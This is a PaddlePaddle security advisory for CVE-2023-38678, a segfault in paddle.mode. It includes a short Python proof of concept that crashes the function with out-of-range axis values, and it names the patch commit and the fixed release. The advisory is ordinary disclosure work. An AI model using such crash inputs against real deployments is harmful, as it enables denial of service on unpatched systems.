Skip to content

Latest commit

 

History

History
33 lines (21 loc) · 925 Bytes

pdsa-2023-010.md

File metadata and controls

33 lines (21 loc) · 925 Bytes

PDSA-2023-010: Segfault in paddle.mode

CVE Number

CVE-2023-38678

Impact

Invalid axis and dim_size may cause paddle.mode segfault . The PoC is as follows:

import paddle
import numpy as np

paddle.mode(
    x=paddle.to_tensor(np.random.uniform(-6666666, 100000000, []).astype(np.float64)),
    axis=paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32)),
    keepdim=True
)

Patches

We have patched the issue in commit 19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc. The fix will be included in PaddlePaddle 2.6.0.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Tong Liu of CAS-IIE.